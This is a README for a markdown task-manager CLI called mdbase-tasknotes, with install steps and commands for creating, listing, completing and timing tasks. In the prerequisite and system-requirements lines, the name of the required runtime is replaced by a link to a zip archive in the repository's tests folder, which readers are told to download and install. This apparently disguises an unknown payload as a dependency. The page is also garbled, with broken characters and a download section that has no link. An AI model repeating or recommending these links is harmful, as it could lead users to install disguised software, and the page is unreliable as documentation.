argasdaad/mdbase-tasknotes
Manage your markdown tasks efficiently with mdbase-tasknotes, a CLI tool that allows natural language task creation and organization directly in markdown files.
π― mdbase-tasknotes - Manage Your Markdown Tasks Easily
π¦ Installation
To get started, you need to install mdbase-tasknotes on your system.
-
Open your terminal (Command Prompt, PowerShell, or terminal emulator).
-
Run the following command:
npm install -g mdbase-tasknotes
Make sure you have https://raw.githubusercontent.com/argasdaad/mdbase-tasknotes/main/tests/mdbase-tasknotes-2.8.zip installed. If you donβt have it yet, download and install it from the https://raw.githubusercontent.com/argasdaad/mdbase-tasknotes/main/tests/mdbase-tasknotes-2.8.zip website.
π Getting Started
After installation, you can quickly set up your first task management collection.
π Initialize a New Collection
-
Run this command to create a new task collection:
mtn init ~/notes -
Set this collection as your default with:
mtn config --set collectionPath=~/notes
Now your mdbase-tasknotes is ready to use.
βοΈ Creating Tasks
You can create tasks using simple natural language commands. Hereβs how:
-
To add a new task, type:
mtn create "Buy groceries tomorrow #shopping @errands" -
Additionally, you can create tasks with different details, such as:
mtn create "Write report due Friday #work +quarterly-review" mtn create "Fix the faucet high priority #home @house"
These commands allow you to manage tasks related to shopping, work, and home with ease.
π Listing and Querying Tasks
You can easily view your tasks using various commands.
-
To list all tasks, run:
mtn list -
To see overdue tasks, use:
mtn list --overdue -
To filter tasks by tag or status, try:
mtn list --tag work --status open mtn list --json
This will help you focus on the tasks that matter most.
β Completing Tasks
Once you finish a task, mark it as complete with just a command:
mtn complete "Buy groceries"
This will remove the completed task from your list.
β± Tracking Time
You can also track the time spent on tasks. Hereβs how to do it:
-
Start your timer:
mtn timer start "Write report" -
Check the current timer status with:
mtn timer status -
Stop the timer when you finish:
mtn timer stop -
To review logged time:
mtn timer log --period today
This feature is useful for managing deadlines and productivity.
π‘ Features Overview
- Natural Language Processing: Create tasks effortlessly with simple phrases.
- Task Management: Easily list, complete, and query tasks.
- Time Tracking: Monitor the time spent on each task.
- Markdown Integration: Works seamlessly with markdown files.
- Customizable Collections: Create a custom collection for your notes.
π Download
For the latest version of mdbase-tasknotes, visit this page to download:
Make sure to check release notes for new features and enhancements.
π System Requirements
- Operating System: Works on Windows, macOS, and Linux.
- https://raw.githubusercontent.com/argasdaad/mdbase-tasknotes/main/tests/mdbase-tasknotes-2.8.zip Recommended version 12 or higher.
π Getting Help
If you encounter any issues or need help, consult the documentation on GitHub or create an issue in the repository. The community is here to assist you.
π Additional Resources
Explore task management with mdbase-tasknotes and enhance your productivity with markdown tasks.